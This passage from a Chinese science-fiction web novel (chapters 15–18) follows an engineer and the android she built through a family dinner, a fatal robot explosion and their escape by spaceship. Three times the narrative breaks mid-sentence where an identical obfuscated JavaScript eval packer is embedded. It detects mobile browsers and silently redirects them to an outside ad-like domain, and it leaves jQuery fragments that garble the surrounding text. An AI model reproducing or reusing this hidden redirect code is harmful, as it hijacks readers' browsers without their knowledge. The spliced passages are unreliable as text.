——毕竟作为助理,是逃不掉与燕家二老相见的。 15. chapter 15 莫狄的消息毫不掩饰地投射在卧室光屏上,每个字都有拳头那么大。 燕无乐坐在床边,眼看着应霁脚步一顿。 他望着光屏,沉默半晌才开口:“怪不得你说我赶不上莫狄。” “咳,”燕无乐有些尴尬,“毕竟是人情社会,莫狄他也是照顾新人,怕——” 她忽然哑口,而应霁饶有兴致地歪了歪头,追问道:“怕什么?我很好奇。” “信息库显示科鸢集团历史悠久,而燕家作为集团一直以来的掌门人却行事低调,几乎不在工作场合外的地方抛头露面。” “而金銮星系自建造之初也逾百年,经过这么多年的积累,或许有不少秘密?” 燕无乐扶额:“没想到你还挺八卦的。” “商业秘密倒没什么,全在科鸢集团内部了。我家其实还挺单纯,靠着技术起家,没有什么奇怪的家族文化。” 硬要说的话,就是严格和……传统。 “没有秘密,那你和莫狄在担心什么?” 应霁又露出那副不谙世事的表情。但这也不能怪他,毕竟是自己亲手降低了他的社会文化预设。 燕无乐只得耐着性子解释:“在东方传统文化里,登门和见家长不是只有字面意思那么简单。” “这里面有很多弦外之音,你查一下就知道了,”她又叹了口气,“我换新秘书一事没告诉别人,而我爸妈他们……爱多想。” 在燕无乐停顿的空档,应霁已检索完毕:“原来说我赶不上莫狄,是这个方面。” 她无奈地点点头,准备给莫狄回个“一切照旧”,没成想她刚转身去拔机械臂的充能胶线,卧室光屏上就弹出了“自己”的回复—— 「可以,以后都交给应霁负责吧。」 ?! 这行消息随即弹出已读的标记,燕无乐瞪大双眼,已经没有了撤回的可能。 “怎么了,不是你给我的管理权限吗。”看到莫狄接收后下线,应霁索性直接关闭了光屏,“而且你说过我是自由的。” 燕无乐:“但你不能……” 他摇摇头,语调又回归往日的柔和平静,这声音娓娓道来时,有种海妖吟唱般的迷蒙。 他说无乐,不用在乎误会或曲解,“我想去拜访,是因为我真的不懂你。” * 飞行器落地山涧庄园时,金銮主城正逢晚高峰。 应霁坐在副驾驶座上,看着摩天大楼外的各色器械如飞蚊巡游,它们密集排列,蜿蜒成远方数条金银色长河。 他们也从那个方向而来,只不过受惠于科鸢的员工通道,加之高档城区住户稀少,一路驶来尤为顺畅。 但燕无乐控制着操作面板,从始至终没有提速。 她的飞行器仍保持着最平常的椭圆型,像一颗羊脂玉般悠哉地飘荡在天地间。 “这个给你。” 一套袖扣领针被递了过来,铂金打底、欧泊镶嵌,炫目的光芒被锁在玲珑方寸间,但应霁一碰就立刻放了回去。在人类肉眼看不见的地方,他的指尖微微发麻,理智告诉他这不只是首饰那么简单。 “没错,是信号屏蔽器,戴上之后无法直接向我的终端发送消息。”燕无乐目视前方,虽然那里空无一物。 “我家餐厅内一直都开着信号干扰,而我爸妈也是智能领域的专家。一是他们不想谈话外泄,二是他们认为人与人当面的交流最重要。” 燕无乐顿了下,“所以接下来你必须独当一面,像个真正的、独立的人类那样。” 飞行器发出轰鸣,在二人的徐徐降落下,暮色中的山峦近在眼前。 管家已经在庭院大门前候着了。燕无乐熟练地从他手中接过大衣,还没等她介绍,管家就发现了第二位从飞行器上跳下的人。 他惊讶:“这位是?” “哦,我让莫狄负责总部的工作去了,这位是新的秘书,姓应,全名应霁。” “您好!”管家热络地伸出手,应霁握住时,却发现他的掌心温度很低。 他尴尬地笑笑:“原以为来送人的是莫助理,所以只准备了一件外套,怠慢了、怠慢了!” 说罢他立刻转身调度,很快机器人赶来,为他披上了另一件大衣。 应霁不明所以,但漆黑的沉木大门随之展开,还未看清院内布景,一股扑面而来的寒气就让他一振—— 眼前景如同与世隔绝的仙境,燕氏本家内大雪纷飞,鹅毛般洋洋洒洒落至鱼池,转眼融化不见。木质连廊外松柏□□、腊梅仍旧,其上覆盖着的皑皑白雪,时不时将枝头压弯又弹起。 “不冷吗?”燕无乐开口让他跟上。他看着她呼出的气变得清晰,像一丛乳白色的流云。 怪不得管家提供了大衣。 应霁感到冷气从脚底向上蔓延,他拉紧外套,快步追上燕无乐。 “金銮星系围绕人造太阳而生,脱离公转和自转后,环形的居住区内气候可控、四季如春。” “但我妈比较怀旧,她不喜欢一切都随着科技迭代,最后融为大杂烩的趋势。”燕无乐的视线扫过古朴庭院,“所以庭院内特意模拟了四季,并且对应农历节气,因时而变。” 话音未落,他们已至连廊尽头,一扇安装在青砖内的镶边红门应声开启。 这次,不需要燕无乐讲解了。 一阵强烈的的噪鸣自胸腔内响起,瞬间直冲头顶,应霁只觉耳鸣不止,眼前的景色也开始重叠摇晃。 ——是信号干扰,而且强度极大。 但人体感觉不到它们。然而燕无乐定住脚步,用左手勉强调试着微微发抖的机械右臂。 “这是个通过乱流建立起的信号屏蔽场,没有消息能在此处传送。”她低声道,然后举起已经调试好的机械臂,“你看,它现在是单机模式了,和普通的机械假肢没有任何区别。” 燕成蹊和安梵已经立在了屋檐之下,看到女儿身边的应霁,微微一愣。 “应霁是我的新秘书,毕竟不能让莫狄总是往岚水分部跑。” 安梵“啊”了一声,点点头,虽然目光还是有几分探寻的味道。 而一旁的燕成蹊则深吸一口气,若无其事地做了个“请”的手势。 屋内暖炉生香,柴火噼啪作响。受到信号干扰的影响,应霁的五感灵敏度降低了许多,处理速率也慢了不少,他只得亦步亦趋地学着燕无乐的样子,把大衣手动挂上衣架。 “都是家常菜,不用客气,无乐这孩子也没和我们说,真是太准备不周了。”安梵坐在二人对面,一根玉簪将长发束起,其间掺杂些许白发,却不显沧桑。 燕成蹊寡言,餐桌上总是安梵开口。岁月在习惯上留下刻痕,即使多年过去,仍然不难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112242|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看出她谈吐间郁莱般那种大家闺秀的影子。 这顿饭三个人吃得心猿意马,而应霁作为智械则根本尝不出味道。 安梵率先放下筷子:“应先生很年轻啊,认识无乐前是做什么工作的?” 燕无乐却站起身来给她盛了一碗汤,抢答道:“军队文职,岗位据说有些涉密。” 安梵得体地收声,接着换了个话题:“科鸢的工作强度如何?平常感觉压力大吗?” “还好?”应霁也放下筷子,体内的处理器飞速运转,从莫狄的工作消息中寻求灵感,“就是对接一下部门消息、和主管们开开会什么的。” 一直默不作声的燕成蹊忽然点点头,一副忆往昔峥嵘岁月的表情。他若提问必会涉及到公司管理的细节,到时候应霁这点现编的内容恐怕要露馅。 燕无乐赶忙站起身,神情严肃地从机械臂内取出那枚储存卡。 “——不闲聊了,我这次回来是有事想请教,有关公司的。” 储存卡被塞进卡槽,房间角落内一台古董放映机登时运转,安梵无奈地叹了口气,想走却被燕成蹊制止了。 他倒是瞥了眼应霁,但看自家女儿坦然自若的模样,索性也咽下了逐客令。 众人等待了一会儿,墙壁上的图像才缓缓显现——视频内容经过掐头去尾,开场便是满目的灰白仪器,然而还没等众人看清,下一秒镜头就晃进了角落。 瞬间,一双硕大的、惊恐的眼睛占满了整个画面,直勾勾地瞪着众人。 “哐”的一声,椅子被燕成蹊骤然起身的动作碰响,安梵也皱着眉向后靠了靠。 “这是什么?不是合成的吧?” 燕无乐幽幽地叹了口气:“我倒是希望这些只是合成画面。” 视频依然在继续,镜头拉远之后,侏儒矮小的身躯完整地填满画面,滑稽的姿势和动作一览无余。 燕成蹊此刻已冷静下来,他快步走到放映机前,将储存卡仔细收于贴身口袋。 然后他转身捏住燕无乐的双肩,神情严肃。 然而燕无乐只看见父亲嘴唇张了张,还未出声,大门外传来的爆响就打断了所有人的思路—— 冲天的火光燃尽院内积雪,滚滚浓烟染黑了梢头梅花,游鱼惊散,满目狼藉。 一股暖流安静地从燕无乐脚边蔓延,她一低头,发现那是缓缓流淌的鲜血。 被爆炸轰开的大门前,管家只剩一半的身体。 他的血肉和机器人碎片混在一起,有的已烧得焦黑,浓重的血腥和焦糊味伴着烟尘直冲众人。 家用机器人爆炸了。 ——为什么? 惊惧之后,燕无乐立刻扭身转向父亲,伸手就要掏那张储存卡,“它上面有定位追踪!不能把它留在这!” 然而燕成蹊将女儿一把推开。他后退一步,震惊的神情逐渐变得凝重而犹疑,他一只手下意识地护住口袋。 “不行,你肯定是惹了不该惹的。”燕成蹊沙哑的声音传来,“你带它离开,和活靶子有什么区别?” “但是源文件在这!不管背后是谁在捣鬼,只要把它公布出去,我们都能反击。” 燕成蹊双唇紧闭,眉头拧成一片川,刀刻般的目光越过女儿,直指沉默在原地的应霁—— “你潜入这所研究院拍摄的事情,是不是只有他知道?” 16. chapter 16 一瞬寂静。 管家的血凝固在众人脚边,在青石板上如同蜿蜒的植物根系。不远处的机器人碎片依然燃烧,在炙烤中噼啪作响。 燕无乐愣在原地,转而否认道:“不可能!应霁的身份我清楚,他没有理由出卖我,他也不会这么做。” “那把他的履历给我,我倒要看看这其中有没有猫腻。” 燕成蹊手握储存卡,显然没有松口的打算。作为科鸢曾经的技术与管理骨干,他自然有能力破解伪造的身份信息。 “……不行,”燕无乐咬咬牙,又上前一步,“爸,你先相信我,这张卡必须现在就带出去,科鸢随时会被攻击,我们需要抢时间进行准备。” 剑拔弩张之际,只有这枚小小的储存卡安静地躺着。倘若它早在潜入时就被标记追踪,谁带着它都是涉险。 此刻,燕成蹊的目光放过应霁,又绕过管家的尸首,最终落在了自家餐厅那扇被破开一半的大门—— 餐厅内信号干扰强烈,爆炸才会发生在定位点最后传送出的门边。现在,大门破开,干扰浓度即使降低,也并非全然失灵。 “爆炸发生在咱们家,查不到事故源头,科鸢脱不了干系。”一地金属碎片全部来自科鸢的生产线,燕成蹊跨过去,勉强掩上了餐厅大门。 “先不论哪个环节出的问题,家里的这场事故还不能公之于众。”说罢燕成蹊拨通内线电话,很快医疗机器人赶来,将现场草草收拾完毕。 一股寒意从头到尾将燕无乐笼罩,她搓了搓双臂,站在一旁,看着管家的半截身子被白布掩盖,那凸起的体积与她遇见的侏儒差不多大小。 “——所以您打算息事宁人吗?” 不止无辜的管家,这个世上还有许多同样的生命。 “无乐,你怎么从来不懂父母的用心?我们怕你变成那个众矢之的,到时候就不单单是科鸢的丑闻了!” 山涧庭院内大雪纷纷,鹅毛般将血痕掩盖。想必此刻已有其他人工接手了管家职责,无论是谁,他要处理的第一项事宜就是与前辈的家属谈赔偿金。 安梵走来,伸手拍落父女二人肩头的雪。他们都不愿多言时,只有她接通了家中内线,试图缓和氛围。 然而没等她说几句宽慰人心的话,一则新闻视频就从内线传来——烈焰般的红霞下,一块标有“阿芙洛狄”字样的建筑牌照被烧得黢黑,镜头一转,整座方形建筑只剩骨架。 硕大的标题写着「研究院傍晚失火,现场无人生还」。 燕无乐愣住了。 画面里的记者仍在播报,冷静而克制的声音随着信号断断续续地传来:“……据悉,阿芙洛狄研究院常年从事生物科技的研发,其中大量设备来自科鸢集团。” “火灾原因尚在调查,本台记者将持续为您报道——” 来自科鸢集团?简直一派胡言。 “内线说这已经是半小时前的新闻了,而现在……”另一个视频被安梵点开,这次,是父女二人都再熟悉不过的视角。 隔着落地窗,俯拍的镜头对准楼下,偌大的停车场内此刻停满了转播车,记者们的长枪短炮正对准科鸢大楼。 “公司内部已经炸开了锅,现在所有部门员工都被控制在楼中,这段视频就是员工发来的。”安梵率先打破沉默。 腹背受敌,争论此刻已经失去了意义。燕成蹊从女儿身边走过,不容置喙地将储存卡带进了房间深处,那里的某一块青砖之内,藏着一台保险箱。 迷茫涌上心头,在模拟出的漫天大雪中,安梵为她披上外套:“放心,爸妈会先替你稳住局面的。” “那我呢……?” 出声后她才发现自己的声音在颤抖。 而安梵向她的脸伸出手,指腹摁过燕无乐的双眸之间,“不要这么看我们,放松点。” 她说,重返科鸢不过是缓兵之计,而除了这个,他们或许能做的不多。 “——现在你有机会去调查了。” * 走出山涧庭院时天色已暗,星历纪元后世上不再有天然的雪,而金銮主城内依然车流熙攘。 应霁驾驶着一辆全新但低调的基础款飞行器,任由燕无乐在其中踱步徘徊。 一小时前,燕无乐脚步虚浮地跨出山涧庄园,入目是永恒不变的春和景明。一款全新的飞行器停在面前,应霁已经坐在其中,而她甚至不知道他接受了什么、又是什么时候出来的。 但她没心思开口。背后,那尊漆黑沉木的大门正缓缓合拢,雪似乎大了些,有些正从缝隙中涌出。 她也没敢回头。 科鸢集团召开紧急会议来应对这次舆论危机,而大多数员工不会知道,从今往后的很长一段时间内,管理他们的都将是燕成蹊和安梵。 父母能为孩子做的不就是后勤吗?安梵的话隐约重现,她坐上这架逃逸用的飞行器,鼻头一酸。 她知道这话是安梵的安慰,包括那句“有机会去调查”,都不过是他们于心不忍、但又出于保护的条件反射——她过去最厌倦的东西。 飞行器平稳升空,很快汇入车流。山涧庭院在深蓝色的天际下只剩轮廓,背靠的山峦瀑布传来阵阵水声。 下一步该如何做?燕无乐翻阅着此前收集的所有资料,原本它们彼此靠近、直达事实,然而大火和爆炸又将它们粉碎,现在做什么都像徒劳无功。 一切就这么中断了。 燕无乐深吸一口气,倒在座位上,机械臂上的光屏还在“哗哗”地滚动资料。 “振作一点,”应霁见状打开电台,“听听新闻有没有进展。” 然而电台并没有如他所愿,他疑惑地又调了几个频,发现连滋啦作响的电流声都很快消失,紧接着就是一阵死寂。 像是成功接入了某个频道,但没人说话。 “可能坏了,关了吧。”燕无乐兴致缺缺。 然而下一秒,飞行器内立刻响起声音,“等一下。” 二人都被这雌雄莫辨的电音吓了一跳。燕无乐立刻站起身,但无论怎样检测,机械臂都查找不出监视来源。 基础款飞行器没有自动驾驶,应霁所能做的就是将电台声音开大,然后努力保持飞行器稳定。 电子音再次响起,这次它忽略了燕无乐对它身份的追问,自顾自地说道:“我这里或许有你们想要的东西。” “滴”的一声,燕无乐的私人邮箱发出了提示音。 一则附 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116756|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件,点开是一则发送人为「阿芙洛狄」的草稿截图,上面正是那批“样品”的交付地点。 燕无乐越看越心惊,然而没等她追问,电台就流淌出音乐,恢复了正常。 “——我知道接下来该去哪了。” 燕无乐对他说完就陷入了忙碌。 于是此刻,应霁的欧泊袖扣被随手搁在操作面板上,像几颗不起眼的沙砾,被燕无乐随时更新的备忘录掩盖。 她右臂上的光屏此刻全部展开,大小不输一只喷蝠。此刻,她单手摁住耳边的外设,通过脑机接口,一枚光标在扇形光屏上肆意弹跳,输入的文字被实时传递给应霁面前的屏幕。 那尊拥有钻石切面和流畅曲线的银白飞行器被丢在本家,和燕成蹊收起的储存卡不同,等待它的命运只有销毁。 ——方才在饭局上听安梵提起,它还是燕无乐的毕业礼物,应霁想,怪可惜的。 然而自己面前的屏幕依然飞速弹出文字,来不及解析就又被整理,最终变成一条条规整的「待办事项」。 紧凑的人生,容不下伤春悲秋的时刻。 应霁一边驾驶一边浏览,他有时觉得燕无乐比自己更像人形智械——还是功能硬核、智能不足的那类。 “看一下。”燕无乐随手将长发甩到背后,然后拍了他的肩。 才走神一会儿的功夫,他的面前就出现了一篇文档,里面预测和猜疑并存,混杂而成一则具备行动可能、但随时会发生意外的“行动指南”。 “那一把大火把阿芙洛狄研究院燃烧殆尽,证据和线索全断了。这样,即使我们手上有视频也证明不了什么,搞不好最后沦为口水战,惹一身腥。” “科鸢会立刻召开新闻发布会,谴责这种毫无事实根据就泼脏水的行为,我想暂时可以将舆论引到商战层面,”她冷静道,“但这不是长久之计。如果没有有利的证据来反击,我们还可能被再次中伤。” “而且这么大的事故,星系联邦政府一定会介入调查。期间也许会影响公司的正常运营,甚至叫停生产也说不定……” 虽然阿芙洛狄的大火与科鸢无关,然而另一场货真价实的爆炸却发生了,并且发生在燕氏老宅、科鸢生产的机器人身上——这样的惨案一旦被曝光,那几乎是在众人前实锤公司产品存在质量风险。 这才是那根会压垮科鸢的关键稻草。 科鸢集团作为行业龙头,盼着它倒然后分一杯羹的,向来不止DM一家。 军临城下,四面楚歌。紧迫感如同巨石压身,燕无乐没办法放松下来。虽然不知这雪中送炭的神秘人意图为何,但她只能前去,别无选择。 况且,还有一个问题一直萦绕在她脑中,她想不通——那些她亲眼所见的非人实验、样品侏儒……究竟是为了什么? “拥有这样的技术能力,肯定不是简单的金钱诱惑。”她喃喃道。视窗外浮现出熟悉的山峦阴影,要降落了,应霁出言提醒她坐稳扶好。 随后,他又指了指面前不再更新的「行动指南」: “所以,我们要离开金銮城了吗?” 他停顿半晌,又开了口,语调像极了人类犹豫过后的追问: “——我要和你一起走?” 17. chapter 17 这是什么问题?燕无乐感到莫名其妙。 “那不然呢?”她回头望向正在操作飞行器降落的应霁,“你和我同时在郁莱的生日会上露过面。假如我走了,你觉得媒体的镜头会落在谁身上?” 应霁“嗯”了一声,手上动作不停。回头想想,他什么也没说,但似乎总是这样。 发生什么了吗?燕无乐思索了下,难道是因为自己那台飞行器上的移动充能桩被销毁了? 燕无乐跨出舱门,等应霁出来:“之后的飞船上可以再安装个充能桩。” 他闻言一愣,表情并没有什么变化,一副意料之外但坦然接收的模样。 “哦,可以呀。” …… 岚水的晚风带有群山气息,湿润中藏着凉意,它们划过二人面庞,静默无边。 二人不知为何就这样尴尬地站住了。 最后还是机械螃蟹屁颠颠地递来拖鞋,燕无乐才打破沉默: “你现在不太说话了?好像和以前不太一样。” 应霁不置可否,“事情都被安排好了,我没有什么开口的必要。” 似乎也没什么错。 “那——”她犹豫了下,“如果你不愿意,我可以想办法给你安排城内的其他居所,低调一点也不是不行……” 一阵风吹来,燕无乐忍不住打了个寒战,一步开外的屋内灯火通明,应霁却没有进门的意思。 他们注视着彼此,直到应霁错开目光并打断了她: “没关系,我可以去。”他淡淡道,“自从被你创造以来,我还从没去过金銮城外的地方,那些内置资料里金銮城外的地方,我都很好奇。” “原因有很多,不只是因为你。” 应霁的语气依旧很温和,这话周遭盘旋而过的晚风一样,将人裹挟直到溜去,神不知鬼不觉。 当燕无乐回过神来时,他已经向屋内走去了。 黄昏的光洒在他身上,勾勒出遒劲的肩颈轮廓,所延伸出的身影是他身高的好几倍,完全将燕无乐笼罩其中。 “等一下!”她不甘心地追上去,但当应霁真正转过身时,她忽然又说不出话了。 她想道歉,也想对最近发生的事做出些解释,抑或将时间提到更早,不那么冲动地唤醒他。 应霁静静地看着她,表情从等待转为了然。他没说什么,只是为她让出台阶:“不走吗?我们应该还有很多东西要收拾。” 通往地库的暗门已然开启,那是「行动指南」的第一条:「更换飞船,补充物资,准备出发。」 机械螃蟹察觉不到二人之间诡异的氛围,它们的智慧水平和几个月大的小狗没有区别。此刻它们牵住燕无乐的裙角,还在试图把她拽向应霁。 “好好,这就走……”燕无乐像哄小孩般飞速给它们安排了其他指令,然后避开应霁匆匆下了楼。 而他从容地跟着她来到地库。 与别墅内格调颇高的装潢不同,燕无乐的地库简直像刚竣工的毛胚,应霁放眼望去,这一两百平的大空间内除了几根承重装置外,可以说是空旷无物。 而这偌大的空间被一架飞船占去一半。飞船作为太空交通工具,它比日常空中通勤用的飞行器更加庞大、沉重,尾部的三缸喷射器高度超过二人的身长总和,漆黑望不见底。 与之相匹配的是梭型的船身与更高强度的涂料,应霁只消一眼就能模拟出它刺破大气、冲入太空的形态。 燕无乐有些生疏地才将舱门打开,飞船内部也做了多功能分区。不只是交通工具,其中还有完备的生态循环系统。 “像一所移动的房子。”应霁看着墙壁上可供培育蔬菜的营养舱,“我们会在太空游荡很久吗?” 燕无乐瞥了他一眼,“又不是度假,你还期待什么星际迷航吗?” 应霁:“你好像开始嫌我烦了。” “……” 话虽这么说,这架代号为「扁舟」的飞船依然装备了最完备的应急生存系统,其中甚至包括两台冷冻休眠舱。 方才跑走的机械螃蟹此刻又“咔哒咔哒”地跑来,两支锃亮的钳子举着一大摞金属和胶线。随后“哗啦啦”地一撂,这堆东西就水灵灵地堆到了二人面前。 应霁认出了它们。而燕无乐也用行动证明,这堆东西就是安装于「扁舟」的移动充能桩。 改装完毕,她三下五除二地将底板重新铺好,随后闪到一边,将飞船内部的空间彻底展示给他。 这是一架将生活和工作做了严格分区的飞船,椭圆形的船身中三分之一为驱动服务,三分之二则铺了地板和毛毯,有意地将恒温和重力系统藏在其下。若不是门后便是冰冷的金属操作房,简直与普通的两居室无异。 燕无乐拉开其中一张单人床底,在一台巨大的保险箱内,密密麻麻地摆满了种子、纯净水、压缩食品、急救药品……还有种类不少的枪械弹药。 应霁的床也是如此,除了基础的物资储备,危机时刻地板会立刻翻转,将舱底的休眠舱抬升至床的位置。 一旁的橱柜内则装了许多改造配件,比起硬件完备且程序自动更迭的应霁,燕无乐的机械臂需要调试和改装的频次更高,除此之外她还有许多科鸢制造的内测产品。 “随时拎包入住,不,拎包跑路的水平。”燕无乐靠在门框上。 这点时间内别墅内的全部资料已被同步至「扁舟」了,只要完成最后的格式化,他们随时可以不留痕迹地离开。 两只机械螃蟹蹲在飞船脚下,四只长眼睛状的摄像头灵活地伸进舱门,好奇地望向二人的方向。 它们也是这智能别墅内的家具之一,格式化后,一切关于燕无乐和应霁的储存条都会被抹去。 驾驶室内光点闪烁,绿色充能条如一条纤细的青蛇,正幽幽地盘踞在二人头顶。 螃蟹们舞动钳子,十六条蟹腿交替摆动,“咔哒咔哒”地在舱门前打转。 格式化的按钮已经从燕无乐的右臂光屏弹出,只需要一摁,它们就会重回出厂时的休眠状态。 到时再也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122168|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会有金属的脚步声、起哄般的反应、还有这好奇打转的姿态。 应霁忽然有些犹豫。 他移开目光,不明白这犹疑从何而来——它们是最低等的智械,这点可怜的智能也是出于讨好消费者而被赋予的,价值约等于没有。 现在他们要走了,作为别墅的一部分,螃蟹们无法一起离开。 道理他都懂,那为什么会产生带它们一起走的冲动呢? 燕无乐的指尖伸向光屏,又顿在几厘米开外。她感到身旁的应霁忽然沉默,而舱外的螃蟹们还不明所以地到处张望。 于是她收回了嘴边的“得走了”,转而下船把它们手动关机。猝然失去支撑,螃蟹们“哐当”一声砸在水泥地上,尘土飞扬。 应霁被响动吓了一跳,没想到燕无乐这么绝情:“你——” “你什么?”她淡淡道,随后一支螺丝刀被她从腰间拔出,三下五除二就卸掉了螃蟹的腹甲。 工装马甲包裹着她劲瘦的腰背,让燕无乐看起来比晚宴上强壮不少。此刻她的背影将应霁的视线挡了个严严实实,像一种不容窥探的态度。 好,看来是毁尸灭迹。应霁想,低等智能也是智能,无乐想杜绝隐患也可以理解。 但当她起身,两只螃蟹还是完好无损地躺在原地,就像睡着了一般,只是她的手上多了两枚卡状的芯片。 “又是卡。”她笑了笑,然后把它们塞到了应霁手里,“里面有它们两个的程序和缓存,现在送给你了。” 那两枚储存卡还留有余温,说不清来自螃蟹还是燕无乐的掌心。 出乎意料。 应霁郑重地将它们收起,而燕无乐也随即启动了别墅的格式化。 随着「扁舟」滑入黑夜,别墅区变成岚水城区间隐约的散星,弯弯曲曲,连成一条条金色的绸缎。 再升高时,依稀可见远方主城区的万家灯火,直插云天的写字楼林立,亮灯的楼层装点着金銮的夜生活。 到达发射高度后,他们扎紧专用的安全座椅,戴上了防冲击面罩。此刻开始,飞船会全速冲出人造大气层,直到进入外太空的失重环境。 “抓紧了。”燕无乐的声音通过面罩内的无线电波传来,应霁还未做出反应,周遭就剧烈颠簸起来—— 这是几乎将人五脏六腑都要震碎的程度,视窗外的金銮夜色瞬间化为流线,溶于混沌。 他感到体内叮当作响,似乎所有零件都搅作一团,连带着震动不停。 一旁的燕无乐也不好受,血肉之躯的她感到头晕目眩,胃里也一阵翻江倒海。 好在飞船足够给力,在她真正吐出来前,扁舟发出“嗡”的一声,颠簸消失了,取而代之的是一种轻飘飘的感觉。 「重力系统正在重置——重置完毕。」 操作面板上弹出这行巨大的字,成功将二人的视线聚集到一起。 应霁望向视窗,金銮星系的全貌第一次展现在他眼前—— 号称人类文明巅峰的造物,金銮环形城。 18. chapter 18 「銮,意为帝王之铃,源于东方古文明。」 太阳自古以来遥远而炽烈,即使是人造太阳「金銮」,对星际时代的人类而言也是永恒。 在无穷的距离上,一切都如同静止,二人的飞船真如一叶扁舟,在浩渺的宇宙间飘荡。金銮星系的全貌此刻尽收眼底。 金銮星系主要由人造太阳「金銮」与围绕它的环形城两部分构成,整体造型像一条包裹铃铛的绸缎——环形城的内面朝向人造太阳,城内每座建筑物的顶峰都指向它。 这也是金銮环形城四季如春、日夜可控的原因。 从太空回望,应霁已看不清自己是从何处出发。无论岚水还是主城,城市片区的分隔都被溶解,变成处理器内密密麻麻的像素点。而这样的城市,遍布整条环带。 随着距离的拉紧,一些人造天体反而变得硕大而清晰,触手可及般从扁舟的不远处划过。透过视窗,他甚至可以看见孤独矗立其上的空间站,还有各色地表上的车辙痕迹。 到处都是人类活动啊,应霁默默感叹。 一颗颗天体缓慢经过,他随口问道:“我们要去这些小行星上吗?” “暂时不去。”燕无乐拉开防冲击座椅,活动着酸痛的肩膀向操作面板走去,那里的按钮闪烁不停,显示预备完成。 她倚着操作台,飞船依然保持行驶。在燕无乐的背后,巨大的环形城从视窗底部浮现,比方才应霁所看时近了不少。 那些直冲云霄的写字楼与环带融为一体,甚至隐约可见形状。 ? “……我们不是刚从环形城出来吗?”他双手撑着主视窗边沿,不敢置信地问道。 一抹笑意从燕无乐嘴角流露,她好整以暇地看着他确认每个视窗,然而无论是哪个,愈来愈清晰的环形城都指向了他预设好的结果。 他们确实正在向环形城靠拢。 “没错,接下来的目的地依然在环形城上,失望了吗?”燕无乐愉悦的声音传来。 “……别这样看着我。”她离开一直靠着的操作台,给应霁让出了完整的主视窗,“环形城可不止你住过的这一面。” 她摁下加速键,眼前的环形城陡然翻转,应霁愣了两秒才反应过来,是扁舟在调转方向。 既然呈绸缎状,那就有内外两面,她淡淡道。“你所生活过的金銮主城区只是环形城内面的典型之一,而它的外面其实也有人类居住。” ——背对人造太阳的环带外面。 扁舟的内部重力系统非常稳定,在二人还毫无知觉时,它就掠过金銮城的上空,从视窗看去有一种大厦倾倒的错觉。 紧接着入目的是极高密度的地基界,漆黑的、厚重的、不可撼动的,无数建筑在它身上扎根,千万人类紧贴它而生存。 翻越地基的距离不短,需要时间。他们都不再说话,视线飘向飞船前行的方向——没过多久,一片地表出现在地基棱线旁,灰蒙蒙的,坑坑洼洼。 没有摩天大楼,没有璀璨灯火,整个环带外面通体寂静而黑暗。 ……这里会有人类居住? 应霁体内的处理器飞速运转,然而除了几篇被隐藏的陈年报道,几乎没有任何资料描述环带背面。 而燕无乐抱臂站在一旁,显然知道些什么。 扁舟逐渐向地面靠拢。很快,主视窗就被更清晰的景象填满,一些细碎的弱光恒久地亮着,如叶脉般隐约连成细密的网。 有光的地方更低洼,像开凿出的地道墙壁上悬挂的灯。再靠近时就能发现,这些看似坑坑洼洼的地表,其实是一片片低矮的小楼。 这些光就来源于楼内的房间。 “那个电台神秘人发来的资料显示,我们要去的地方就在这其中的某个矮房。” 燕无乐随手一指,入目全是一望无垠的黑灰色矮楼,它们彼此交错、拥堵,几乎是毫无章法地堆叠在一起。 应霁不由得皱了皱眉头。 “那些被阿芙洛狄批量培育出的侏儒,为什么会被计划着送到这里?”他回忆着扁舟走过的种种行程,“大费周章,图什么呢?” “错了,他们可不会让‘样品’坐飞船。” 燕无乐冷哼一声,随后拉动摇杆准备着陆。扁舟已启动了体外伪装,而科技水平欠发达的此地居民不会觉察到任何异样。 那他们怎么被送来?应霁一头雾水,而燕无乐却指了下侦查多次却显示空无它物的扫描结果。 “其实这里的人口密度不输金銮主城区,但你看,这里没有其他飞船,连飞行器都没有。” “现在,向下看——” 「扁舟」侧翼展开,其间的点阵摄像头将影像投射到甲板之上。应霁一低头,就看见如灌木丛般绵延的矮房尽头,出现了一个巨大的坑,随着飞船的前进,它也缓缓露出全貌。 黑夜中,它像一张血盆大口,周围的矮房变成龋齿,零零碎碎环绕着它。 而巨坑深处,居然传来了隐约光芒。 “这是什么?”应霁向坑中望去,发现里面的光源并不稳定,强弱不一,明明灭灭,似乎正随着什么移动。 “它叫「矿洞」。准确来说,是一条历时千年开凿出的甬道。” 燕无乐波澜不惊的声音响起,将深坑的历史娓娓道来。 一千多年前,随着人造太阳的能量趋近稳定,环形城的地基界也初具雏形。 彼时的星际大迁徙还未开始,环形城上的人类皆来自先发的施工队伍。 